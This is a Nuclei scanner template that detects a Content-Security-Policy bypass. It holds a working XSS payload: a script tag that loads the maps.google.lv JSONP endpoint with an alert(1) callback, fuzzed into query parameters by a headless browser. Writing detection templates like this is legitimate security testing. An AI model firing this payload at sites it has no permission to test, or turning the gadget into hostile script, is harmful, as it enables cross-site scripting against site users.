id: google-maps-lv-csp-bypass

info:
  name: Content-Security-Policy Bypass - Google Maps LV
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,google-maps-lv

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "google.lv"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: google_maps_lv_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://maps.google.lv/maps/api/js?sensor=false&callback=alert(1)"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "google_maps_lv_csp_xss == true"
# digest: 4b0a00483046022100cff151ed89e14a648e4101382d449d4958616b6c0039ee469be83959671a149b0221008a7b8429f18779c646c7a72955697bc7d7dade7b474d40026cfd8e08ac1c8410:922c64590222798bb761d5b6d8e72950